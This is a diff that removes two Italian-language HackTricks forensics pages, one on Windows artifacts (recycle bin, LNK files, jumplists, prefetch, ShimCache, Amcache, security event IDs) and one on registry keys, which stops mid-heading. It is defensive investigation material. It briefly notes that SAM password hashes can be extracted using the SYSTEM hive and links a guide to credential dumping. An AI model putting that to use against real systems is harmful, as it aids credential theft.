src/forensics/basic-forensic-methodology/windows-forensics/README.md
View File

@ -1,498 +0,0 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
### Windows 10 Notifications
Nel percorso `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` puoi trovare il database `appdb.dat` (prima dell'anniversario di Windows) o `wpndatabase.db` (dopo l'anniversario di Windows).
All'interno di questo database SQLite, puoi trovare la tabella `Notification` con tutte le notifiche (in formato XML) che possono contenere dati interessanti.
### Timeline
Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite.
Il database si trova nel percorso `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file.
## **File Backups**
### Recycle Bin
In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\
Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici:
- `$I{id}`: Informazioni sul file (data di quando è stato eliminato)
- `$R{id}`: Contenuto del file
![](<../../../images/image (486).png>)
Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Volume Shadow Copies
Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente:
![](<../../../images/image (520).png>)
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy.
![](<../../../images/image (521).png>)
L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contiene i file e le chiavi **da non eseguire il backup**:
![](<../../../images/image (522).png>)
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`.
### Office AutoSaved Files
Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Shell Items
Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file.
### Recent Documents (LNK)
Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in:
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Quando viene creata una cartella, viene creato anche un collegamento alla cartella, alla cartella padre e alla cartella nonna.
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/).
In questo strumento troverai **2 set** di timestamp:
- **Primo Set:**
1. FileModifiedDate
2. FileAccessDate
3. FileCreationDate
- **Secondo Set:**
1. LinkModifiedDate
2. LinkAccessDate
3. LinkCreationDate.
Il primo set di timestamp fa riferimento ai **timestamp del file stesso**. Il secondo set fa riferimento ai **timestamp del file collegato**.
Puoi ottenere le stesse informazioni eseguendo lo strumento CLI di Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
```
In questo caso, le informazioni verranno salvate all'interno di un file CSV.
### Jumplists
Questi sono i file recenti indicati per applicazione. È l'elenco dei **file recenti utilizzati da un'applicazione** a cui puoi accedere su ciascuna applicazione. Possono essere creati **automaticamente o essere personalizzati**.
I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. I jumplists sono nominati seguendo il formato `{id}.autmaticDestinations-ms` dove l'ID iniziale è l'ID dell'applicazione.
I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito).
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**.
Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../images/image (474).png>)
(_Nota che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso_)
### Shellbags
[**Segui questo link per scoprire cosa sono i shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Uso delle USB di Windows
È possibile identificare che un dispositivo USB è stato utilizzato grazie alla creazione di:
- Cartella Recenti di Windows
- Cartella Recenti di Microsoft Office
- Jumplists
Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE:
![](<../../../images/image (476).png>)
I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag.
### Informazioni sul Registro
[Controlla questa pagina per scoprire](interesting-windows-registry-keys.md#usb-information) quali chiavi di registro contengono informazioni interessanti sui dispositivi USB connessi.
### setupapi
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
### USB Detective
[**USBDetective**](https://usbdetective.com) può essere utilizzato per ottenere informazioni sui dispositivi USB che sono stati connessi a un'immagine.
![](<../../../images/image (483).png>)
### Pulizia Plug and Play
Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione.
Il compito si trova al seguente percorso:
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Uno screenshot che mostra il contenuto del compito è fornito:
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Componenti e impostazioni chiave del compito:**
- **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo.
- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico.
- **MaintenanceSettings**:
- **Period ('P1M')**: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare.
- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza.
Questa configurazione garantisce una manutenzione e pulizia regolari dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi.
**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
## Email
Le email contengono **2 parti interessanti: le intestazioni e il contenuto** dell'email. Nelle **intestazioni** puoi trovare informazioni come:
- **Chi** ha inviato le email (indirizzo email, IP, server di posta che hanno reindirizzato l'email)
- **Quando** è stata inviata l'email
Inoltre, all'interno delle intestazioni `References` e `In-Reply-To` puoi trovare l'ID dei messaggi:
![](<../../../images/image (484).png>)
### App di posta di Windows
Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno delle sottocartelle in `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`.
I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
**Cambia l'estensione** del file da `.vol` a `.edb` e puoi utilizzare lo strumento [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) per aprirlo. All'interno della tabella `Message` puoi vedere le email.
### Microsoft Outlook
Quando vengono utilizzati server Exchange o client Outlook, ci saranno alcune intestazioni MAPI:
- `Mapi-Client-Submit-Time`: Ora del sistema quando l'email è stata inviata
- `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ciascun messaggio del thread
- `Mapi-Entry-ID`: Identificatore del messaggio.
- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? reindirizzato? fuori ufficio?)
Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario sono memorizzati in un file PST in:
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
Il percorso del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato.
Puoi aprire il file PST utilizzando lo strumento [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html).
![](<../../../images/image (485).png>)
### File OST di Microsoft Outlook
Un **file OST** viene generato da Microsoft Outlook quando è configurato con **IMAP** o un server **Exchange**, memorizzando informazioni simili a un file PST. Questo file è sincronizzato con il server, mantenendo i dati per **gli ultimi 12 mesi** fino a un **massimo di 50GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Recupero degli Allegati
Allegati persi potrebbero essere recuperabili da:
- Per **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- Per **IE11 e versioni superiori**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### File MBOX di Thunderbird
**Thunderbird** utilizza **file MBOX** per memorizzare i dati, situati in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
### Miniature delle Immagini
- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione.
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC.
- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file.
### Informazioni sul Registro di Windows
Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in:
- `%windir%\System32\Config` per varie sottochiavi `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`.
- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server.
### Strumenti
Alcuni strumenti sono utili per analizzare i file di registro:
- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre informazioni importanti dal registro caricato.
### Recupero di Elementi Cancellati
Quando una chiave viene eliminata, è contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate.
### Ultimo Tempo di Scrittura
Ogni Chiave-Valore contiene un **timestamp** che indica l'ultima volta che è stata modificata.
### SAM
Il file/hive **SAM** contiene gli **hash delle password degli utenti, dei gruppi e degli utenti** del sistema.
In `SAM\Domains\Account\Users` puoi ottenere il nome utente, il RID, l'ultimo accesso, l'ultimo accesso fallito, il contatore di accesso, la politica delle password e quando è stato creato l'account. Per ottenere gli **hash** hai anche **bisogno** del file/hive **SYSTEM**.
### Voci Interessanti nel Registro di Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
## Programmi Eseguiti
### Processi Windows di Base
In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi Windows comuni per rilevare comportamenti sospetti.
### APP Recenti di Windows
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata.
### BAM (Moderatore di Attività in Background)
Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro).
### Prefetch di Windows
Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente.
Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto.
Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file che sono stati prelevati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** di esecuzione e **file** **aperti** dal programma.
Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../images/image (487).png>)
### Superprefetch
**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio di prefetch.\
Questo servizio genererà file di database in `C:\Windows\Prefetch\Ag*.db`.
In questi database puoi trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessed**, il **percorso** **completo**, i **tempi** e i **timestamp**.
Puoi accedere a queste informazioni utilizzando lo strumento [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
### SRUM
**System Resource Usage Monitor** (SRUM) **monitora** le **risorse** **consumate** **da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`.
Fornisce le seguenti informazioni:
- AppID e Percorso
- Utente che ha eseguito il processo
- Byte inviati
- Byte ricevuti
- Interfaccia di rete
- Durata della connessione
- Durata del processo
Queste informazioni vengono aggiornate ogni 60 minuti.
Puoi ottenere la data da questo file utilizzando lo strumento [**srum_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di Compatibilità delle Applicazioni** sviluppato da **Microsoft** per affrontare i problemi di compatibilità delle applicazioni. Questo componente di sistema registra vari pezzi di metadati dei file, che includono:
- Percorso completo del file
- Dimensione del file
- Ultima data di modifica sotto **$Standard_Information** (SI)
- Ultima data di aggiornamento del ShimCache
- Flag di esecuzione del processo
Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo:
- Per XP, i dati sono memorizzati sotto `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci.
- Per Server 2003, così come per le versioni di Windows 2008, 2012, 2016, 7, 8 e 10, il percorso di archiviazione è `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, che accoglie rispettivamente 512 e 1024 voci.
Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strumento [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
![](<../../../images/image (488).png>)
### Amcache
Il file **Amcache.hve** è essenzialmente un hive del registro che registra dettagli sulle applicazioni che sono state eseguite su un sistema. Si trova tipicamente in `C:\Windows\AppCompat\Programas\Amcache.hve`.
Questo file è notevole per memorizzare registrazioni dei processi eseguiti di recente, inclusi i percorsi ai file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema.
Per estrarre e analizzare i dati da **Amcache.hve**, si può utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare i contenuti del file **Amcache.hve** e restituire i risultati in formato CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
Tra i file CSV generati, il `Amcache_Unassociated file entries` è particolarmente degno di nota per le ricche informazioni che fornisce sulle voci di file non associate.
Il file CVS più interessante generato è il `Amcache_Unassociated file entries`.
### RecentFileCache
Questo artefatto può essere trovato solo in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contiene informazioni sull'esecuzione recente di alcuni binari.
Puoi utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file.
### Scheduled tasks
Puoi estrarli da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerli come XML.
### Services
Puoi trovarli nel registro sotto `SYSTEM\ControlSet001\Services`. Puoi vedere cosa verrà eseguito e quando.
### **Windows Store**
Le applicazioni installate possono essere trovate in `\ProgramData\Microsoft\Windows\AppRepository\`\
Questo repository ha un **log** con **ogni applicazione installata** nel sistema all'interno del database **`StateRepository-Machine.srd`**.
All'interno della tabella Applicazione di questo database, è possibile trovare le colonne: "Application ID", "PackageNumber" e "Display Name". Queste colonne contengono informazioni sulle applicazioni pre-installate e installate e possono indicare se alcune applicazioni sono state disinstallate, poiché gli ID delle applicazioni installate dovrebbero essere sequenziali.
È anche possibile **trovare applicazioni installate** all'interno del percorso del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
E **applicazioni disinstallate** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
## Windows Events
Le informazioni che appaiono all'interno degli eventi di Windows sono:
- Cosa è successo
- Timestamp (UTC + 0)
- Utenti coinvolti
- Host coinvolti (hostname, IP)
- Risorse accessibili (file, cartella, stampante, servizi)
I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**.
La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Understanding Windows Security Event Logging
Gli eventi di accesso sono registrati nel file di configurazione della sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando la sua capacità è raggiunta, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono accessi e disconnessioni degli utenti, azioni degli utenti e modifiche alle impostazioni di sicurezza, nonché accessi a file, cartelle e risorse condivise.
### Key Event IDs for User Authentication:
- **EventID 4624**: Indica che un utente si è autenticato con successo.
- **EventID 4625**: Segnala un fallimento di autenticazione.
- **EventIDs 4634/4647**: Rappresentano eventi di disconnessione dell'utente.
- **EventID 4672**: Denota accesso con privilegi amministrativi.
#### Sub-types within EventID 4634/4647:
- **Interactive (2)**: Accesso diretto dell'utente.
- **Network (3)**: Accesso a cartelle condivise.
- **Batch (4)**: Esecuzione di processi batch.
- **Service (5)**: Avvii di servizi.
- **Proxy (6)**: Autenticazione proxy.
- **Unlock (7)**: Schermo sbloccato con una password.
- **Network Cleartext (8)**: Trasmissione di password in chiaro, spesso da IIS.
- **New Credentials (9)**: Utilizzo di credenziali diverse per l'accesso.
- **Remote Interactive (10)**: Accesso remoto tramite desktop o servizi terminali.
- **Cache Interactive (11)**: Accesso con credenziali memorizzate senza contatto con il controller di dominio.
- **Cache Remote Interactive (12)**: Accesso remoto con credenziali memorizzate.
- **Cached Unlock (13)**: Sblocco con credenziali memorizzate.
#### Status and Sub Status Codes for EventID 4625:
- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username.
- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force.
- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti.
- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati.
- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato.
- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
- **0xC0000193**: Scadenza dell'account - Tentativi di accesso con account utente scaduti.
- **0xC0000071**: Password scaduta - Tentativi di accesso con password obsolete.
- **0xC0000133**: Problemi di sincronizzazione dell'orario - Grandi discrepanze di tempo tra client e server possono indicare attacchi più sofisticati come pass-the-ticket.
- **0xC0000224**: Cambio di password obbligatorio richiesto - Cambiamenti obbligatori frequenti potrebbero suggerire un tentativo di destabilizzare la sicurezza dell'account.
- **0xC0000225**: Indica un bug di sistema piuttosto che un problema di sicurezza.
- **0xC000015b**: Tipo di accesso negato - Tentativo di accesso con tipo di accesso non autorizzato, come un utente che cerca di eseguire un accesso di servizio.
#### EventID 4616:
- **Time Change**: Modifica dell'orario di sistema, potrebbe offuscare la cronologia degli eventi.
#### EventID 6005 e 6006:
- **System Startup and Shutdown**: L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento.
#### EventID 1102:
- **Log Deletion**: Cancellazione dei log di sicurezza, che è spesso un campanello d'allarme per coprire attività illecite.
#### EventIDs for USB Device Tracking:
- **20001 / 20003 / 10000**: Prima connessione del dispositivo USB.
- **10100**: Aggiornamento del driver USB.
- **EventID 112**: Orario di inserimento del dispositivo USB.
Per esempi pratici su come simulare questi tipi di accesso e opportunità di dumping delle credenziali, fai riferimento alla [guida dettagliata di Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulteriori informazioni sulle cause degli eventi, particolarmente notevoli nell'Event ID 4625.
### Recovering Windows Events
Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi.
### Identifying Common Attacks via Windows Events
Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Brute Force Attacks
Identificabili da più registrazioni di EventID 4625, seguite da un EventID 4624 se l'attacco ha successo.
#### Time Change
Registrato da EventID 4616, i cambiamenti all'orario di sistema possono complicare l'analisi forense.
#### USB Device Tracking
Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento.
#### System Power Events
L'EventID 6005 indica l'avvio del sistema, mentre l'EventID 6006 segna lo spegnimento.
#### Log Deletion
L'EventID di sicurezza 1102 segnala la cancellazione dei log, un evento critico per l'analisi forense.
{{#include ../../../banners/hacktricks-training.md}}

101
src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
View File

@ -1,101 +0,0 @@
# Chiavi di Registro di Windows Interessanti
### Chiavi di Registro di Windows Interessanti
{{#include ../../../banners/hacktricks-training.md}}
### **Informazioni sulla Versione di Windows e Proprietario**
- Situato in **`Software\Microsoft\Windows NT\CurrentVersion`**, troverai la versione di Windows, il Service Pack, l'orario di installazione e il nome del proprietario registrato in modo chiaro.
### **Nome del Computer**
- Il nome host si trova sotto **`System\ControlSet001\Control\ComputerName\ComputerName`**.
### **Impostazione del Fuso Orario**
- Il fuso orario del sistema è memorizzato in **`System\ControlSet001\Control\TimeZoneInformation`**.
### **Tracciamento del Tempo di Accesso**
- Per impostazione predefinita, il tracciamento dell'ultimo accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa:
`fsutil behavior set disablelastaccess 0`
### Versioni di Windows e Service Pack
- La **versione di Windows** indica l'edizione (ad es., Home, Pro) e la sua release (ad es., Windows 10, Windows 11), mentre i **Service Pack** sono aggiornamenti che includono correzioni e, a volte, nuove funzionalità.
### Abilitazione del Tempo di Ultimo Accesso
- Abilitare il tracciamento dell'ultimo accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema.
### Dettagli sulle Informazioni di Rete
- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e le autorizzazioni.
### Caching Lato Client (CSC)
- **CSC** migliora l'accesso ai file offline memorizzando copie di file condivisi. Diverse impostazioni di **CSCFlags** controllano come e quali file vengono memorizzati nella cache, influenzando le prestazioni e l'esperienza dell'utente, specialmente in ambienti con connettività intermittente.
### Programmi di Avvio Automatico
- I programmi elencati in varie chiavi di registro `Run` e `RunOnce` vengono avviati automaticamente all'avvio, influenzando il tempo di avvio del sistema e potenzialmente essendo punti di interesse per identificare malware o software indesiderato.
### Shellbags
- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi.
### Informazioni e Forense USB
- I dettagli memorizzati nel registro sui dispositivi USB possono aiutare a tracciare quali dispositivi sono stati collegati a un computer, potenzialmente collegando un dispositivo a trasferimenti di file sensibili o incidenti di accesso non autorizzato.
### Numero di Serie del Volume
- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi.
### **Dettagli di Spegnimento**
- L'orario di spegnimento e il conteggio (quest'ultimo solo per XP) sono conservati in **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**.
### **Configurazione di Rete**
- Per informazioni dettagliate sull'interfaccia di rete, fare riferimento a **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
- I tempi di connessione di rete, inclusi i collegamenti VPN, sono registrati sotto vari percorsi in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
### **Cartelle Condivise**
- Le cartelle condivise e le impostazioni si trovano sotto **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline.
### **Programmi che Si Avviano Automaticamente**
- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per essere eseguiti all'avvio.
### **Ricerche e Percorsi Digitati**
